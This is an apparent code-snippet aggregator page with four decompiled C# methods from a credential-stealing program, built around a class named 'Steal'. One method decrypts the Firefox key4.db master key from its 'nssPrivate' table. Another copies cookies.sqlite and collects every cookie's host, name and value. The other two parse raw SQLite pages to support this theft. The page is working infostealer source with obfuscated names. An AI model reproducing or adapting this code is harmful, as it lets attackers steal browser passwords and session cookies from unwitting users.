Exemple #1
0
 // Token: 0x060001F6 RID: 502 RVA: 0x0000F534 File Offset: 0x0000D734
 private static byte[] p4k(string file)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(file))
         {
             result = array;
         }
         else
         {
             CNT cnt = new CNT(file);
             cnt.ReadTable("metaData");
             string s           = cnt.ParseValue(0, "item1");
             string s2          = cnt.ParseValue(0, "item2)");
             Gecko4 gecko       = Gecko1.Create(Encoding.Default.GetBytes(s2));
             byte[] objectData  = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
             byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
             Gecko8 gecko2      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
             gecko2.го7па();
             Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None);
             cnt.ReadTable("nssPrivate");
             int    rowLength = cnt.RowLength;
             string s3        = string.Empty;
             for (int i = 0; i < rowLength; i++)
             {
                 if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Steal.Key4MagicNumber))
                 {
                     s3 = cnt.ParseValue(i, "a11");
                     break;
                 }
             }
             Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
             objectData  = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
             objectData2 = gecko3.Objects[0].Objects[1].ObjectData;
             gecko2      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
             gecko2.го7па();
             array  = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
             result = array;
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Exemple #2
0
 // Token: 0x060001F4 RID: 500 RVA: 0x0000F0BC File Offset: 0x0000D2BC
 public static void CookMhn(string profile, string browser_name, string profile_name)
 {
     try
     {
         CNT cnt = new CNT(Steal.CreateTempCopy(Path.Combine(profile, "cookies.sqlite")));
         cnt.ReadTable("moz_cookies");
         for (int i = 0; i < cnt.RowLength; i++)
         {
             try
             {
                 Steal.domains.Add(cnt.ParseValue(i, "host").Trim());
                 Steal.Cookies_Gecko.Add(string.Concat(new string[]
                 {
                     cnt.ParseValue(i, "host").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "path").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "expiry").Trim(),
                     "\t",
                     cnt.ParseValue(i, "name").Trim(),
                     "\t",
                     cnt.ParseValue(i, "value"),
                     Environment.NewLine
                 }));
             }
             catch
             {
             }
         }
     }
     catch (Exception)
     {
     }
 }
Exemple #3
0
 // Token: 0x06000132 RID: 306 RVA: 0x0000CF74 File Offset: 0x0000B174
 private bool ReadDataEntriesFromOffsets(ulong Offset)
 {
     if (this.DataArray[(int)((uint)Offset)] == 13)
     {
         int num  = Convert.ToInt32(decimal.Subtract(new decimal(this.ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), 1m));
         int num2 = 0;
         if (this.SqlRows != null)
         {
             num2         = this.SqlRows.Length;
             this.SqlRows = (ROW[])Utils.CopyArray(this.SqlRows, new ROW[this.SqlRows.Length + num + 1]);
         }
         else
         {
             this.SqlRows = new ROW[num + 1];
         }
         int num3 = num;
         for (int i = 0; i <= num3; i++)
         {
             SZ[]  array = null;
             ulong num4  = this.ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8m), new decimal(i * 2))), 2);
             if (decimal.Compare(new decimal(Offset), 100m) != 0)
             {
                 num4 += Offset;
             }
             int num5 = this.GetValues((int)num4);
             this.CalcVertical((int)num4, num5);
             int num6 = this.GetValues(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m)));
             this.SqlRows[num2 + i].ID = this.CalcVertical(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m)), num6);
             num4 = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num6), new decimal(num4))), 1m));
             num5 = this.GetValues((int)num4);
             num6 = num5;
             long num7 = this.CalcVertical((int)num4, num5);
             long num8 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num4), new decimal(num5)), 1m));
             int  num9 = 0;
             while (num8 < num7)
             {
                 array            = (SZ[])Utils.CopyArray(array, new SZ[num9 + 1]);
                 num5             = num6 + 1;
                 num6             = this.GetValues(num5);
                 array[num9].Type = this.CalcVertical(num5, num6);
                 if (array[num9].Type > 9L)
                 {
                     if (CNT.ItIsOdd(array[num9].Type))
                     {
                         array[num9].Size = (long)Math.Round((double)(array[num9].Type - 13L) / 2.0);
                     }
                     else
                     {
                         array[num9].Size = (long)Math.Round((double)(array[num9].Type - 12L) / 2.0);
                     }
                 }
                 else
                 {
                     array[num9].Size = (long)((ulong)this.SQLDataTypeSize[(int)array[num9].Type]);
                 }
                 num8 = num8 + (long)(num6 - num5) + 1L;
                 num9++;
             }
             this.SqlRows[num2 + i].RowData = new string[array.Length - 1 + 1];
             int num10 = 0;
             int num11 = array.Length - 1;
             for (int j = 0; j <= num11; j++)
             {
                 if (array[j].Type > 9L)
                 {
                     if (!CNT.ItIsOdd(array[j].Type))
                     {
                         if (decimal.Compare(new decimal(this.DataEncoding), 1m) == 0)
                         {
                             this.SqlRows[num2 + i].RowData[j] = Encoding.Default.GetString(this.DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                         }
                         else if (decimal.Compare(new decimal(this.DataEncoding), 2m) == 0)
                         {
                             this.SqlRows[num2 + i].RowData[j] = Encoding.Unicode.GetString(this.DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                         }
                         else if (decimal.Compare(new decimal(this.DataEncoding), 3m) == 0)
                         {
                             this.SqlRows[num2 + i].RowData[j] = Encoding.BigEndianUnicode.GetString(this.DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                         }
                     }
                     else
                     {
                         this.SqlRows[num2 + i].RowData[j] = Encoding.Default.GetString(this.DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                     }
                 }
                 else
                 {
                     this.SqlRows[num2 + i].RowData[j] = Convert.ToString(this.ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size));
                 }
                 num10 += (int)array[j].Size;
             }
         }
     }
     else if (this.DataArray[(int)((uint)Offset)] == 5)
     {
         int num12 = (int)Convert.ToUInt16(decimal.Subtract(new decimal(this.ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), 1m));
         for (int k = 0; k <= num12; k++)
         {
             ushort num13 = (ushort)this.ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12m), new decimal(k * 2))), 2);
             this.ReadDataEntriesFromOffsets(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ToUInt64((int)(Offset + (ulong)num13), 4)), 1m), new decimal((int)this.PageSize))));
         }
         this.ReadDataEntriesFromOffsets(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 8m)), 4)), 1m), new decimal((int)this.PageSize))));
     }
     return(true);
 }
Exemple #4
0
        // Token: 0x06000131 RID: 305 RVA: 0x0000C95C File Offset: 0x0000AB5C
        private void ReadDataEntries(ulong Offset)
        {
            if (this.DataArray[(int)((uint)Offset)] == 13)
            {
                ushort num  = (this.ToUInt64((Offset.ForceTo <decimal>() + 3m).ForceTo <int>(), 2).ForceTo <decimal>() - 1m).ForceTo <ushort>();
                int    num2 = 0;
                if (this.DataEntries != null)
                {
                    num2             = this.DataEntries.Length;
                    this.DataEntries = (FF[])Utils.CopyArray(this.DataEntries, new FF[this.DataEntries.Length + (int)num + 1]);
                }
                else
                {
                    this.DataEntries = new FF[(int)(num + 1)];
                }
                int num3 = (int)num;
                for (int i = 0; i <= num3; i++)
                {
                    ulong num4 = this.ToUInt64((Offset.ForceTo <decimal>() + 8m + (i * 2).ForceTo <decimal>()).ForceTo <int>(), 2);
                    if (decimal.Compare(Offset.ForceTo <decimal>(), 100m) != 0)
                    {
                        num4 += Offset;
                    }
                    int num5 = this.GetValues(num4.ForceTo <int>());
                    this.CalcVertical(num4.ForceTo <int>(), num5);
                    int num6 = this.GetValues((num4.ForceTo <decimal>() + num5.ForceTo <decimal>() - num4.ForceTo <decimal>() + 1m).ForceTo <int>());
                    this.DataEntries[num2 + i].ID = this.CalcVertical((num4.ForceTo <decimal>() + num5.ForceTo <decimal>() - num4.ForceTo <decimal>() + 1m).ForceTo <int>(), num6);
                    num4 = (num4.ForceTo <decimal>() + num6.ForceTo <decimal>() - num4.ForceTo <decimal>() + 1m).ForceTo <ulong>();
                    num5 = this.GetValues(num4.ForceTo <int>());
                    num6 = num5;
                    long   value = this.CalcVertical(num4.ForceTo <int>(), num5);
                    long[] array = new long[5];
                    int    num7  = 0;
                    do
                    {
                        num5        = num6 + 1;
                        num6        = this.GetValues(num5);
                        array[num7] = this.CalcVertical(num5, num6);
                        if (array[num7] > 9L)
                        {
                            if (CNT.ItIsOdd(array[num7]))
                            {
                                array[num7] = (long)Math.Round((double)(array[num7] - 13L) / 2.0);
                            }
                            else
                            {
                                array[num7] = (long)Math.Round((double)(array[num7] - 12L) / 2.0);
                            }
                        }
                        else
                        {
                            array[num7] = (long)((ulong)this.SQLDataTypeSize[(int)array[num7]]);
                        }
                        num7++;
                    }while (num7 <= 4);
                    Encoding encoding = Encoding.Default;
                    decimal  value2   = this.DataEncoding.ForceTo <decimal>();
                    if (!1m.Equals(value2))
                    {
                        if (!2m.Equals(value2))
                        {
                            if (3m.Equals(value2))
                            {
                                encoding = Encoding.BigEndianUnicode;
                            }
                        }
                        else
                        {
                            encoding = Encoding.Unicode;
                        }
                    }
                    else
                    {
                        encoding = Encoding.Default;
                    }
                    this.DataEntries[num2 + i].Type         = encoding.GetString(this.DataArray, Convert.ToInt32(decimal.Add(new decimal(num4), new decimal(value))), (int)array[0]);
                    this.DataEntries[num2 + i].Name         = encoding.GetString(this.DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0]))), (int)array[1]);
                    this.DataEntries[num2 + i].RootNum      = (long)this.ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2]))), (int)array[3]);
                    this.DataEntries[num2 + i].SqlStatement = encoding.GetString(this.DataArray, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2])), new decimal(array[3]))), (int)array[4]);
                }
                return;
            }
            if (this.DataArray[(int)((uint)Offset)] != 5)
            {
                return;
            }
            int num8 = (int)Convert.ToUInt16(decimal.Subtract(new decimal(this.ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), 1m));

            for (int j = 0; j <= num8; j++)
            {
                ushort num9 = (ushort)this.ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12m), new decimal(j * 2))), 2);
                if (decimal.Compare(new decimal(Offset), 100m) == 0)
                {
                    this.ReadDataEntries(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ToUInt64((int)num9, 4)), 1m), new decimal((int)this.PageSize))));
                }
                else
                {
                    this.ReadDataEntries(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ToUInt64((int)(Offset + (ulong)num9), 4)), 1m), new decimal((int)this.PageSize))));
                }
            }
            this.ReadDataEntries(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 8m)), 4)), 1m), new decimal((int)this.PageSize))));
        }